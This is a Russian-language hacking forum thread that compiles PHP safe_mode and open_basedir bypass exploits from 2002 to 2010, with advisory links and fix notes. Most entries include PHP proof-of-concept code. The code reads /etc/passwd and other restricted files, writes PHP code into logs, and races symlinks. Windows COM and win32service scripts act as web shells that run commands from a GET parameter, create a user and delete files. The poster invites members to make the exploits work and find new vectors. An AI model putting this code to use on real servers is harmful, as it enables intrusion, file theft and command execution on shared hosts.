Старый 22.12.2010, 16:37   #1
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 252
Репутация: 155
По умолчанию Safe_mode and open_basedir bypasses

Собран весь паблик, половина не протестирована, ибо нет возможности.
Отсюда резонный вопрос - зачем я запостил это тут?

Дело в том, что половина этих сплоитов доработана и функционирует в несколько видоизменённом виде.
Человек который их дорабатывал выкладывал свои труды не в паблик, и я разумеется сливать это тоже не буду.
Зато если кому-то интересно можно всем миром начать тестить то что я выложил и доводить до рабочего состояния то, что не работает.
Поэтому тут, а не в паблике, в надежде на то, что что-то родится.

Поехали. (отсортировано по дате выхода адвизори с версии 4.2.0)

================================================== ===================

posix_getpw* bypasses safe_mode and open_basedir
PHP 4.2.0 2002-04-22
http://bugs.php.net/bug.php?id=16733
Обнаруживается что функции posix_* не проверяют safe_mode и open_basedir, и позволяют себе всякие глупости, например просмотр инфы о юзерах:
PHP код:
<?
    
for ($i 0$i 60000$i++)
      {
        if ((
$tab = @posix_getpwuid($i)) != NULL)
          {
            echo 
$tab['name'].":";
            echo 
$tab['passwd'].":";
            echo 
$tab['uid'].":";
            echo 
$tab['gid'].":";
            echo 
$tab['gecos'].":";
            echo 
$tab['dir'].":";
            echo 
$tab['shell']."<br>";
          }
      }
?>
Тогда это ещё не было не задокумментировано, но сейчас это не баг а "фича", и скрипт этот отработает на любом PHP где есть и не отключены функции posix

================================================== ===================

PHP Undefined Safe_Mode_Include_Dir Safemode Bypass Vulnerability
PHP 4.3 Jul 16 2003
http://www.securityfocus.com/bid/8201
При неопределённой директиве safe_mode_include_dir функции include() и require() делают всё что считают нужным
PHP код:
<?
include("/etc/passwd");
?>
Пользователь может обойти ограничения Safe mode, когда не определена PHP директива safe_mode_include_dir.
Проверки безопасности не срабатывают при попытке доступа к файлам, используя вызовы include() или require().
Не понятно что это, баг или фишка =\. В английской докумментации написано, что это профикшено в версии 4.3, в русской о таком не слова.
По факту это работает везде где мне приходилось тестить.
Если у кого-то не пашет, или я что-то не допонял, прошу меня поправить.
Директива open_basedir разумеется не даст такое проделать.

================================================== =============

cURL Open_Basedir Restriction Bypass Vulnerability
PHP Version: 5.0.2 4.3.7 28.10.2004
http://www.securityfocus.com/archive/1/379657
http://bugs.php.net/30609
PHP код:
<?php
$ch 
curl_init("file:///etc/parla");
$file=curl_exec($ch);
echo 
$file
?>
Отсутствие проверки Open_Basedir у cURL
Version 5.0.4 Fixed bug #30609 (cURL functions bypass open_basedir). (Jani)

================================================== ============

session_save_path bypass safemode/open_basedir restriction
PHP Version: 5.0.4, 4.3.11 19.05.2005
http://bugs.php.net/33072
session_save_path не проверяет настройки safemode и open_basedir, что позволяет указать в качестве дирректории любую доступную на сервере.
Version 5.1.0 Fixed bug #33072 (Add a safemode/open_basedir check for runtime "session.save_path" change using session_save_path() function). (Rasmus)

================================================== ==============

Open_BaseDir Security Restriction Bypass Vulnerability
PHP 5.0.5 4.4.0 27.09.2005
http://www.securityfocus.com/bid/14957
http://bugs.php.net/bug.php?id=32937
Возможность чтения каталога /tmp/ при open_basedir=/t/
Version 5.1.0 Fixed bug #32937 (open_basedir looses trailing / in the limiter). (Adam Conrad)

НО обращаю ваше внимание, что в опции open_basedir указывается не имя каталога, а префикс!
И без указания слеша при такой, например, настройке open_basedir = /dir/inc доступ будет и в /dir/include и в/dir/inclalala.
Это опять-же не баг. Тот-же принцип используется в опции safe_mode_include_dir
http://www.php.ru/manual/features.safe-mode.html

================================================== ==============

Safedir Restriction Bypass Vulnerabilities image* functions and cURL
PHP 5.0.5 17.10.2005
http://www.securityfocus.com/bid/15119
http://www.securityfocus.com/archive/1/413596
functions: - imagegif() - imagepng() - imagejpeg()
PHP код:
<?php
$im 
imagecreatefromgif("file.gif");
imagegif($im'/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');
?>
curl openbasedir and safemode bypass.
PHP код:
<?php
mkdir
("./".$_SERVER["SCRIPT_NAME"]."?");
$ch curl_init("file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd ");
$file=curl_exec($ch);
echo 
$file;
?>
Version 5.1.0 Added missing safe_mode checks for image* functions and cURL. (Ilia)
Version 5.1.1 Improved safe_mode/open_basedir checks in cURL extension. (Ilia, Jani)

================================================== ==============

Virtual() PHP Apache 2 Safe_Mode and Open_Basedir Restriction Bypass Vulnerability
PHP 5.0.5 4.4.0 Nov 14 2005
http://www.securityfocus.com/bid/15413
Неопределенная ошибка при вызове функции virtual() в Apache 2 может быть использована для обхода ограничений безопасности директив "safe_mode" и "open_basedir".
Вот с этим непонятно, инфы никакой нет, есть офф фикс с неопределённым комментарием.
http://www.php.net/ChangeLog-5.php#5.1.0
Для общего развития включил в обзор, сама по себе функция интересная

================================================== ==============

mb_send_mail() "safe_mode" и "open_basedir"
PHP 5.1.2 PHP 4.x 28.02.2006
http://www.mail-archive.com/bugtraq@securityfocus.com/msg14320.html
http://secunia.com/advisories/18694/
http://www.securitytracker.com/alerts/2006/Feb/1015696.html
PHP код:
<?php
        
if (isset($_REQUEST['file'])) {
                
$file "sendlog";
                if (
file_exists($file)) unlink($file);
                
$extra "-C ".$_REQUEST['file']." -X ".getcwd()."/".$file;
                
mb_send_mail(NULLNULLNULLNULL$extra);
                echo 
"<pre>".file_get_contents($file)."</pre>";
        }
?>
Функция mb_send_mail и добавочный параметр. В нем передаётся конфиг файл (опция -С) и лог в который функция сбрасывает ошибки (опция -Х).
Получаем чтение файла. Если внимательно смотреть на приведённые линки, то кое где говорится об обходе и "safe_mode" и "open_basedir", а кое-где только "open_basedir".
На php.net я эту багу не нашёл, и реакцию разрабов тоже, так что не понятно когда и как она профикшена.

================================================== ==============

imap_* functions bypass safemode and open_basedir restrictions
PHP 5.1.4 4.4.2 c_client 2004g. 01.03.2006
http://securityreason.com/securityalert/516
IMAP функци не имеют проверок на safemode и open_basedir
Чтение файла\каталога -- imap_body(), imap_list()
Создание, удаление, переименование -- imap_createmailbox(), imap_deletemailbox(), imap_renamemailbox()
По линку сплоит для работы с imap_body() и imap_list() .
Version 5.1.5 Fixed bug #37265(Added missing safe_mode & open_basedir checks to imap_body()). (Ilia) (тот-же текст в Version 5.2.0)

================================================== ==============

tempnam() open_basedir bypass http://www.securityfocus.com/archive/1/430456
copy() Safe Mode Bypass http://www.securityfocus.com/archive/1/430461
PHP 5.1.2, 4.4.2 08.04.2006
http://securityreason.com/achievement_securityalert/37
Использование префиксов «compress.bzip2://» и «zip://» не учитывается в safe mode, что позволяет читать файлы вне разрешенных директорий
PHP код:
<?
$needfile
="home/hacker/sp_s.txt";
$outputfile="/home/freehosta/public_html/sp_s.txt";
copy("compress.zlib://".$needfile,$outputfile);
?>
example:
PHP код:
copy("compress.zlib:///etc/passwd""/home/cxib/to/bandyta/passwd.txt");
tempnam("path_from_open_basedir""../../../../../../../../Open_basedir_bypasswd"); 
http://securityreason.com/achievement_exploitalert/8 -- эксплоит PHP 5.1.2 & 4.4.2 tempnam() & copy() Safe_Mode Bypass by Maksymilian Arciemowicz
через 2 месяца некто D3nGeR пишет вот такой сплоит, то-же самое, только формы добавились
http://downloads.securityfocus.com/vulnerabilities/exploits/D3nGeR-17439.php -- сплоит tempnam() & copy() by D3nGeR

Version 5.2.0 Fixed bug #38963 Fixed a possible open_basedir bypass in tempnam()). (Ilia) -- ХМ это вроде не то, хотя ХЗ
Version 5.1.3 Fixed safe_mode check for source argument of the copy() function. (Ilia)

================================================== ==============

cURL Safe Mode Bypass
PHP 5.1.4 4.4.2 27.05.2006
http://securityreason.com/achievement_securityalert/39
PHP код:
<?
$ch 
curl_init("file://filethatyoudonthaveaccessto.php\x00".__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
?>
Этот сплоит позволяет читать файлы с той-же дирректории с которой запущен скрипт. Safe Mode Проверяет доступ к __FILE__, а cURL включает filethatyoudonthaveaccessto.php
Там-же какой-то концепт на чтение файла с выходом из дирректории, мне показалось это чистая теплица, или я что-то не понял. Кто желает ознакомьтесь в оригинале.
Version 5.2.0 Improved CURL: Added control character checks for "open_basedir" and "safe_mode" checks. (Ilia) -- видимо это сюда

================================================== ============

error_log() Safe Mode Bypass
PHP 5.1.4 4.4.2 26.06.2006
http://securityreason.com/achievement_securityalert/41
PHP код:
<?php
$file
=""# FILENAME
error_log("<? echo \"cx\"; ?>"3"php://../../".$file);
?>
Error_log при проверках на доступ некорректно обрабатывает врапперы
Version 5.2.0 Improved safe_mode check for the error_log() function. (Ilia) -- эмм не факт что оно

================================================== ============

SSCANF() Safe_Mode Restriction-Bypass Vulnerability
PHP 5.1.4, 4.4.3 08.08.2006
http://bugs.php.net/38322
http://www.plain-text.info/sscanf_bug.txt
http://downloads.securityfocus.com/vulnerabilities/exploits/php_sscanf_exp.txt -- сплоит
http://www.xakep.ru/post/33212/php_local_buffer_underflow%20_Exploit.txt -- сплоит POC developed by Heintz.
Version 5.1.5 Fixed bug #38322 (reading past array in sscanf() leads to arbitrary code execution). (Tony)

================================================== ==============

Ini_Restore() Safe_Mode and Open_Basedir Restriction Bypass Vulnerability
PHP 5.1.6, 4.4.4 09.09.2006
http://securityreason.com/achievement_securityalert/42 -- обсуждение
PHP код:
<?
echo ini_get("safe_mode");
echo 
ini_get("open_basedir");
include(
"/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo 
ini_get("safe_mode");
echo 
ini_get("open_basedir");
include(
"/etc/passwd");
?>
Уязвимость существует из-за недостаточного ограничения на смену параметров safe_mode и open_basedir в функции ini_restore().
Если эти ограничения установлены в настройках виртуального хоста Web сервера, а в файле php.ini находятся значения по умолчанию,
злоумышленник может восстановить значения по умолчанию и обойти ограничения, установленный в конфигурационном файле Web сервера.

Пример уязвимой конфигурации:
Цитата:
<Directory /usr/home/frajer/public_html/>
Options FollowSymLinks MultiViews Indexes
AllowOverride None
php_admin_flag safe_mode 1
php_admin_value open_basedir /usr/home/frajer/public_html/
</Directory>
На php.net вроде-бы было упоминание бага (ему присвоен номер Bug#391281), и профикшен он должен быть в версии 5.2.0, но теперь там "No such bug #391281", поэтому ХЗ.

================================================== ==============

glob() function Safe mode bypass
PHP 5.2 10.09.06
http://securityvulns.ru/Gnews711.html
http://securityvulns.ru/files/sfbreaker.php -- Safe mode breaker. eXpl0id by KPbIC
Функция glob() позволяет определить существование каталога или файла и построить список файлов.
Эта дыpа тоже не отражена на php.net, хотя под неё даже написан сплоит. Когда и как профикшено непонятно.

================================================== ==============

Session.Save_Path() Safe_Mode and Open_Basedir Restriction Bypass Vulnerability
PHP 5.2.0 08.12.2006
http://securityreason.com/achievement_securityalert/43
PHP код:
session_save_path("/DIR/WHERE/YOU/DONT/HAVE/ACCESS\0;/DIR/WHERE/YOU/HAVE/ACCESS"
Проблема в том, что проверки проходят на путь после ";", а session_save_path отсекается нулбайтом.
Разрабы опять-же ничего не пишут про этот баг, хотя фиксы какие-то похоже накладывались, ибо в версии 5.2.2 у людей наблюдаются какие-то проблемы с session_save_path

================================================== =============

Symbolic Link Open_Basedir Bypass Vulnerability
PHP versions 4 and 5. 22.12.2006
Not affected: PHP with Suhosin Extension 0.9.6
Адвизори от Стефана Эссера
http://www.hardened-php.net/advisory_082006.132.html
Ну и более внятное обьяснение от NST со сплоитами на чтение файла и листинг директории
http://packetstormsecurity.org/0610-exploits/nst-php-openbasedir.txt

script1.php
PHP код:
<? 
  symlink
("a/a/a/a/a/a/""dummy"); 
  
symlink("dummy/../../../../../../""xxx"); 
  
unlink("dummy"); 
  while (
1) { 
       
symlink(".""dummy"); 
       
unlink("dummy"); 
  } 
?>
script2.php
PHP код:
<? 
@print_r(scandir("/")); // open_basedir restriction doesn't let us to see the root dir content 
// scandir() is a PHP 5 function. You can use another function of the other versions to work on the directory 
while (1) { 
       
$dir=@scandir("xxx"); 
       if (@
count($dir) > 20print_r($dir); // the main dir have more than 20 folders 

?>
По поводу этой баги мне не удалось найти официальное заявление о том, что она профикшена, Стефан вообще пугает в своём адвизори что это не фиксится, а коментарии разрабов не нашёл.
По адвизори от NST легко заметить неточности, какие-то file_get_contents и Module 'gd' в логе, хотя в скрипте этого нет.
Вобщем тестируем у себя. Единственное ограничение - как видите "Not affected: PHP with Suhosin Extension 0.9.6"

================================================== =============

fopen() Safe_Mode Restriction-Bypass Vulnerability
PHP 5.2.0 (only) 25.01.2007
http://securityreason.com/achievement_securityalert/44
PHP код:
php -'fopen("srpath://../../../../../../../dir/pliczek", "a");' 
Косяк в реализации проверки прав.
При указании несуществующего врапера PHP проверяет права на дирректорию из которой запущен скрипт что позволяет создать файл в обход ограничений.
Работает только в PHP 5.2.0.

================================================== ==============

BZip2/Zip Wrappers Multiple Safe_Mode and Open_Basedir Restriction Bypass Vulnerabilities
PHP <= 5.2.1 13.03.2007
http://www.php-security.org/MOPB/MOPB-20-2007.html
http://www.php-security.org/MOPB/MOPB-21-2007.html
Врапперы zip:// и bzip2:// не проверяют ограничения Safe_Mode и Open_Basedir.
Version 5.2.2 Added missing open_basedir & safe_mode checks to zip:// and bzip:// wrappers. (MOPB-20, MOPB-21 by Stefan Esser). (Ilia)

================================================== ============

open_basedir bypass via symlink and move_uploaded_file()
PHP 5.2.1 27.03.2007
http://bugs.php.net/40931
Заливка файла в обход open_basedir.
Баг почему-то прошёл незамеченным на багтраках, хотя косяк интересный.
Единственное что непонятно где он работал т.к. в обсуждении видно что не у всех получилось завести.
Version 5.2.2 Fixed bug #40931 (open_basedir bypass via symlink and move_uploaded_file()). (Tony)

================================================== ============

Session.Save_Path() TMPDIR Open_Basedir Restriction Bypass Vulnerability
PHP 4 < 4.4.5 and PHP 5 < 5.2.1 28.03.2007
http://www.php-security.org/MOPB/MOPB-36-2007.html Stefan Esser
PHP код:
<?php
  ini_set
("session.save_path""/sessions/user2/");
  
putenv("TMPDIR=/sessions/user2/");
  
ini_set("session.save_path""");
  @
session_start();
?>
Выставляем session.save_path в дирректорию доступную на чтение устанавливая переменную окружения TMPDIR.

================================================== ============

Realpath() Safe_Mode and Open_Basedir Restriction Bypass Vulnerability
PHP < 5.2.3 24.05.2007
http://bugs.php.net/bug.php?id=41492
Realpath не проверяет ограничения.
Version 5.2.3 Fixed bug #41492 (open_basedir/safe_mode bypass inside realpath()) (by bugs dot php dot net at chsc dot dk) http://bugs.php.net/41492

================================================== ==============

open_basedir bypass via glob()
PHP Version: 5.2.3 11.06.2007
http://bugs.php.net/41655
На этот раз open_basedir помощью glob(). Функция возвращает разный результат в зависимости от наличия\отсутствия файла.
Version 5.2.4 Fixed bug #41655 (open_basedir bypass via glob()). (Ilia)
Version 5.2.5 Fixed regression in glob() when enforcing safe_mode/open_basedir checks on paths containing '*'. (Ilia)

================================================== ==============

htaccess safemode and open_basedir Bypass Vulnerability
PHP <= 5.2.3 , PHP <= 4.4.7 27.06.2007
http://securityreason.com/achievement_securityalert/45 -- php_value session.save_path /inne session_start();
http://securityreason.com/achievement_exploitalert/9 -- сплоит Only for PHP5 mail() author: Maksymilian Arciemowicz
Обход с помощью хтассеса. Это работает если пых запущен как модуль апача.
Version 5.2.4 Fixed session.save_path and error_log values to be checked against open_basedir and safe_mode (CVE-2007-3378) (Stas, Maksymilian Arciemowicz)
Опять-же непонятно что они прикрыли =\

================================================== ==============

Perl Extension Safe_mode Bypass
PHP ??? 27.08.2007
http://www.xakep.ru/post/39870/PHP-Perl-Extension-Safe_mode-Bypass-Exploit.txt сплоит Author:--NetJackal
Version 5.2.4 Added missing open_basedir checks to CGI. (anight at eyelinkmedia dot com, Tony)
непонятно. Сплоит обходит сейфмод, а фикс на опенбейсдир =\

================================================== ===============

MySQL/MySQLi Safe Mode Bypass Vulnerability
PHP 5.2.3 <= PHP 4.4.7 2007-08-30
http://www.exploit-db.com/exploits/4392/
http://www.securityfocus.com/bid/4026
сплоиты
http://downloads.securityfocus.com/vulnerabilities/exploits/safemodexploit.php
http://downloads.securityfocus.com/vulnerabilities/exploits/4026-mysql.php
http://downloads.securityfocus.com/vulnerabilities/exploits/4026-mysqli.php
PHP код:
<?php 
file_get_contents
('/etc/passwd'); 
$l mysql_connect("localhost""root"); 
mysql_query("CREATE DATABASE a"); 
mysql_query("CREATE TABLE a.a (a varchar(1024))"); 
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'"); 
mysql_close($l); mysql_connect("localhost""aaaa"); 
mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a"); 
$result mysql_query("SELECT a FROM a.a"); 
while(list(
$row) = mysql_fetch_row($result)) 
print 
$row chr(10); 
?>
Обход с помощью мускула.
Version 5.2.4 Fixed INFILE LOCAL option handling with MySQL extensions not to be allowed when open_basedir or safe_mode is active. (Stas)

================================================== =============

dl() open_basedir bypass
PHP <=5.2.4 11.09.2007
http://securityreason.com/securityalert/3119
В функции отсутствуют проверки на open_basedir
Version 5.2.5 Fixed dl() to only accept filenames. reported by Laurent Gaffie.
Непонятный фикс

================================================== =================

cURL safe_mode bypass
PHP 5.2.5 and 5.2.4. 22.01.2008
http://securityreason.com/achievement_securityalert/51
The following proof-of-concept PHP code is available:
PHP код:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__))); 
всё вобщем-то понятно из адвизори. Почти то-же самое было в 2006 году
Version 5.2.6 Fixed a safe_mode bypass in cURL identified by Maksymilian Arciemowicz. (Ilia)

================================================== ============

PHP 'chdir()' and 'ftok()' 'safe_mode' Multiple Security Bypass Vulnerabilities
PHP 5.2.6 17.06.2008
http://securityreason.com/achievement_securityalert/55
PHP код:
<?
echo getcwd()."\n";
chdir("http://../../etc/");
echo 
getcwd()."\n";
?>
ftok() только в (PHP 4 >= 4.2.0)
http://securityreason.com/achievement_exploitalert/10 -- сплоит Maksymilian Arciemowicz на curl
создание папки http: и обход сейфмода. Сейфмод игнорирует пути с http://

================================================== =============

posix_access() Function safe_mode Bypass Directory Traversal Vulnerability
PHP 5.2.6 17.06.2008
http://securityreason.com/achievement_securityalert/54
PHP код:
var_dump(posix_access("http://../../../etc/passwd"))==True
var_dump
(posix_access("/etc/passwd"))==False 
принцип тот-же что и в предыдущем примере

================================================== =============

(error_log) safe_mode bypass
PHP 5.2.6 20.11.2008
http://securityreason.com/achievement_securityalert/57
syntax in .htaccess
Цитата:
php_value error_log "/hack/blehx.php"
example exploit:
PHP код:
error_log("<?php phpinfo(); ?>", 0);
Если сейфмод включен не в php.ini, а в httpd.conf директивой php_admin_flag safe_mode On, можно создать .htaccess в котором определить файл логов и записать в него код.

================================================== =============

php_getuid() Safe Mode Restriction-Bypass Vulnerability
PHP 5.2.6 05.12.2008
http://securityreason.com/achievement_securityalert/59 -- ресёч
сплоита нету и вобщем-то я что-то не нахожу вектора для атаки, видимо не вполне разобрался, кто видит применение поясните плз.

================================================== =============

LD_PRELOAD Safe Mode Bypass
PHP 5.3.0 4.3.10 9.12.2008
http://www.gat3way.eu/index.php?mact=News,cntnt01,detail,0&cntnt01articl eid=9&cntnt01returnid=15
http://www.xakep.ru/post/46386/PHP-safe_mode-bypass-via-proc_open()-and-custom-environment-Exploit.txt -- proc_open() описание и сплоит By Milen Rangelov
http://www.exploit-db.com/exploits/11636/ -- Kolang (proc_open PHP safe mode bypass 4.3.10 - 5.3.0)
Version 5.3.1 Version 5.2.11 Fixed bug #49026 (proc_open() can bypass safe_mode_protected_env_vars restrictions). http://bugs.php.net/49026
http://bugs.php.net/bug.php?id=46741
Подмена библиотеки.
в тему tipsy тут постил https://rdot.org/forum/showthread.php?t=1027

====================================

PHP Python Extension 'safe_mode' Restriction Bypass Vulnerability
prior to PHP 6 29.12.2008
http://www.securityfocus.com/bid/32902
http://www.securityfocus.com/archive/1/499362 -- сплоит amir salmani
Обход с помощью расширения 'python'. На php.net баги нету

================================================== ==============

curl safe_mode & open_basedir bypass
PHP 5.2.9 10.4.2009
http://securityreason.com/achievement_securityalert/61
PHP код:
curl_setopt($chCURLOPT_URL"file:file:////etc/passwd"); 
Эксплоит. (сомнительный )
http://securityreason.com/achievement_exploitalert/11
Опять курл . В описании видно, что необходимо создание дирректорий, права на которые по ошибке и проверяет PHP, что в итоге даёт возможность обойти safe_mode и open_basedir

================================================== =============

mail.log Configuration Option open_basedir Restriction Bypass Vulnerability
PHP 5.3 06.08.2009
http://securityreason.com/achievement_securityalert/64 PHP 5.3.0 (main.c) open_basedir bypass
PHP код:
<?php
$to 
'stop@example.com';
$subject 'open_basedir bypass by http://securityreason.com';
$message 'exploit';
$headers 'From: stop@example.com' "\r\n" .
'Reply-To: stop@example.com' "\r\n" .
'X-Mailer: PHP<?php echo ini_get(\'open_basedir\');?>/' .
phpversion();

mail($to$subject$message$headers);
?>
создание хтассеса или прописывание в user.ini (CGI) пути для mail.log
Version 5.3.1 Fixed open_basedir circumvention for "mail.log" ini directive. (Maksymilian Arciemowicz, Stas)
у меня не отработало =\

================================================== =============

tempnam() safe_mode bypass
PHP 5.2.11 29.09.2009
http://securityreason.com/securityalert/6601
Зависимость mod_mime

Цитата:
x@x-desktop:/var/www/bypass$ php -r "tempnam('/home/y/www/','safe_mode_bypass.php.');"
x@x-desktop:/var/www/bypass$ ls -la /home/y/www/
total 8
drwxrwxrwx 2 y y 4096 2009-09-27 19:15 .
drwxr-xr-x 9 y y 4096 2009-09-27 19:11 ..
-rw------- 1 x x 0 2009-09-27 19:15 safe_mode_bypass.php.SUT2N3
x@x-desktop:/var/www/bypass$ php -r "file_put_contents('/home/y/www/safe_mode_bypass.php.SUT2Nb','<?php echo getcwd(); ?>');"
x@x-desktop:/var/www/bypass$ cat /home/y/www/safe_mode_bypass.php.SUT2Nb
<?php echo getcwd(); ?>
x@x-desktop:/var/www/bypass$ php -r "chmod('/home/y/www/safe_mode_bypass.php.SUT2Nb',0755);"
x@x-desktop:/var/www$ curl http://localhost/safe_mode_bypass.php.SUT2Nb
/home/y/www
Создаём файл в обход сейфмод. Расширение .SUT2Nb (в примере) не зарегистрировано, и при mod_mime код исполнится
Version 5.3.1 Version 5.2.12 Fixed a safe_mode bypass in tempnam() identified by Grzegorz Stachowiak.

====================================

posix_mkfifo() open_basedir Restriction Bypass Vulnerability
PHP 5.3.0 5.2.11 30.09.2009
http://securityreason.com/securityalert/6600
Not Vulnerable: PHP 5.3.1 PHP 5.2.12
posix_mkfifo не проверяет ограничения open_basedir
Version 5.3.1 Version 5.2.12 Fixed a open_basedir bypass in posix_mkfifo(). (Rasmus)

================================================== ==============

symlink() open_basedir Restriction Bypass Vulnerability
PHP 5.3.1/5.2.12 21.12.2009
http://securityreason.com/achievement_securityalert/70 PHP 5.2.11/5.3.0 Multiple Vulnerabilities
http://securityreason.com/achievement_exploitalert/14 Сплоит от Maksymilian Arciemowicz PHP 5.2.12/5.3.1
Создание структуры каталогов, затем симлинка на файл вне опенбейсдир и симлинка на этот линк, с последующей заменой первого на дирректорию
В примере всё понятнее.
В адвизори так-же есть обход сейфмода достаточно забавный. Потестить нигде не удалось
Написано что всё это работает до 5.3.1/5.2.12 но на php.net баги нету.

====================================

session.save_path safe_mode and open_basedir bypass
PHP 5.2.12/5.3.1 11.02.2010
http://securityreason.com/achievement_securityalert/82
Version 5.3.2 Version 5.2.13 Fixed a possible open_basedir/safe_mode bypass in the session extension identified by Grzegorz Stachowiak. (Ilia)
Проблема в том что пхп не проверяет количество ";" в первом аргументе session_save_path. При создании дирректорий вида ";a", "../;a" обходим safe_mode и open_basedir.

====================================

Windows

====================================

ionCube safe_mode & disable_functions bypass
PHP 5.2.4 12.10.2007
http://www.xakep.ru/post/40609/default.asp
Ошибка в проверке входных данных расширения ionCube.
http://www.xakep.ru/post/40609/PHP-ionCube-extension-safe_mode-and-disable_functions-protections-bypass-Exploit.txt -- сплоит author: shinnai
PHP код:
<?php
//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
//author: shinnai

if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required!");

$path str_repeat("..\\"20);
$MyBoot_readfile readfile($path."windows\\system.ini"); #just to be sure that I set correctely disable_function :)
$MyBoot_ioncube ioncube_read_file($path."boot.ini");
echo 
$MyBoot_readfile;
echo 
"<br><br>ionCube output:<br><br>";
echo 
$MyBoot_ioncube;
?>
================================================== ================

PHP FFI Extension Safe_mode bypass
PHP FFI Extension 5.0.5 24.08.2007
Ошибка в проверке входных данных в расширении FFI.
http://www.xakep.ru/post/39853/PHP-FFI-Extension-Safe_mode-Bypass-Exploit.txt сплоит Author:--NetJackal-

================================================== =================

COM functions safe_mode & disable_function bypass
5.x 23.10.2007
Ошибка в проверке входных данных в COM функциях PHP.
http://www.xakep.ru/post/40767/PHP-COM-functions-safe_mode-and-disable_function-bypass-Exploit.txt author: shinnai
PHP код:
<?php
//PHP 5.x COM functions safe_mode and disable_function bypass
//author: shinnai
//Remote execution requires that open_basedir is disabled

$mPath str_repeat("..\\",20);

$compatUI = new COM('{0355854A-7F23-47E2-B7C3-97EE8DD42CD8}');    //this one uses compatUI.dll
$compatUI->RunApplication("something""notepad.exe"1);    //to run notepad.exe
$wscript = new COM('wscript.shell');                //this one uses wscript.exe
$wscript->Run("cmd.exe /c calc.exe");                //to run calc.exe
$FSO = new COM('Scripting.FileSystemObject');            //this one uses wshom.ocx
$FSO->OpenTextFile($mPath."something.bat"8true);        //to create a batch file on server... yes,
                                                                //if you want you can write to this batch file :)
$FSOdelFile = new COM('Scripting.FileSystemObject');        //this one uses wshom.ocx
$FSOdelFile->DeleteFile($mPath."PathToFiles\\*.txt"True);    //to delete all files with txt extension
$FSOdelFolder = new COM('Scripting.FileSystemObject');        //this one uses wshom.ocx
$FSOdelFolder->DeleteFolder($mPath."FolderToDelete"True);    //to delete an entire folder
$shgina = new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}');    //this one uses shgina.dll
$shgina->Create("shinnai");                    //to add an user :)
?>
http://www.xakep.ru/post/37085/default.asp
PHP код:
 <?php
   
//PHP COM extensions (inconsistent Win32) safe_mode bypass

   
$____suntzu = new COM("WScript.Shell");
   
$____suntzu->Run('c:\windows\system32\cmd.exe /c '.escapeshellarg($_GET[cmd]).' > '.dirname($_SERVER[SCRIPT_FILENAME]).'/suntzoi.txt');
   
$____suntzoi=file("suntzoi.txt");
    for (
$i=0$i<count($____suntzoi); $i++) {echo nl2br(htmlentities($____suntzoi[$i]));}

   
// *quote* from the php manual:
   // There is no installation needed to use these functions; they are part of the PHP core.
   // The windows version of PHP has built in support for this extension. You do not need to load any additional extension in order to use these functions.
   // You are responsible for installing support for the various COM objects that you intend to use (such as MS Word);
   // we don't and can't bundle all of those with PHP.

?>
================================================== =============

(win32service) Local Safe Mode Bypass Exploit
PHP 5.2.1 Jul 28 2007
http://www.securityfocus.com/bid/25106
http://www.exploit-db.com/exploits/4236/ Author: NetJackal
http://downloads.securityfocus.com/vulnerabilities/exploits/25106.php -- сплоит
PHP код:
<?php
// PHP Safe_mode bypass exploit (win32service)   
// Author:  NetJackal                      
// Usage: http://victim.net/nj.php?CMD=[command]

$command=(isset($_GET['CMD']))?$_GET['CMD']:'dir'#cammand
$dir=ini_get('upload_tmp_dir'); #Directory to store command's output

if(!extension_loaded('win32service'))die('win32service extension not found!');
$name=$dir."\\".uniqid('NJ');
$n=uniqid('NJ');
$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
$exec=file_get_contents($name);
unlink($name);
echo 
"<pre>".htmlspecialchars($exec)."</pre>";
?>
================================================== =============

Win32STD Extension Safe_Mode and Disable_Functions Restriction Bypass Vulnerability
PHP 5.2.3 2007-07-26
http://www.securityfocus.com/bid/25041

http://downloads.securityfocus.com/vulnerabilities/exploits/25041.php -- сплоит author: shinnai
http://www.xakep.ru/post/39369/PHP-win32std-extension-safe_mode-and-disable_functions-protections-bypass-Exploit.txt -- сплоит author: shinnai
PHP код:
<?php
if (!extension_loaded("win32std")) die("win32std extension required!");
system("cmd.exe"); //just to be sure that protections work well
win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
?>
================================================== =============

Local Safemod Bypass Exploit (win32)
PHP 5.2.10 5.2.9 May 26 2009
http://www.xakep.ru/magazine/xa/127/044/1.asp
http://www.exploit-db.com/exploits/8799/
https://foro.undersecurity.net/read.php?15,1928,1928 -- сплоит by Abysssec
http://bugs.php.net/bug.php?id=45997
на китайском
http://www.80vul.com/pch/pch-006.txt
PHP код:
<?php
//updata:2009-6-19
// safe_mode=On and safe_mode_exec_dir not set in php.ini
// test on win32

    
echo exec('80vul\b\dir');
//    system('80vul\b\dir');
//    passthru('80vul\b\dir');

?>
================================================== ==============

Всё что выше нужно проверять на разных конфигурациях. Кое что я проверял, кое что нет.
Задача минимум выяснить точные версии и зависимости для для пробива.
Задача максимум - новые векторы и сплоиты на основе того что есть.
Если никому не интересна тема, и развития не будет, то конечно ей место в паблике.

PS Первые баги разбирал и тестил, под конец просто собрал всё, иначе никогда не допишу то одно, то другое =\. Так что давайте тестить и разбирать совместно, думаю получится быстрее. Возможно где-то что-то недопонял\не правильно понял\упустил, поправьте.
__________________
------------------
Jokester вне форума   Ответить с цитированием
Старый 23.12.2010, 23:05   #2
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Поковырялся немого...

Проверка наличия файла за пределами open_basedir
PHP код:
echo linkinfo('../test.txt'); 
-1 == нет файла
число == есть файл

PHP код:
realpath("../test.txt"); 
ошибка == есть файл
без ошибок == нет файла

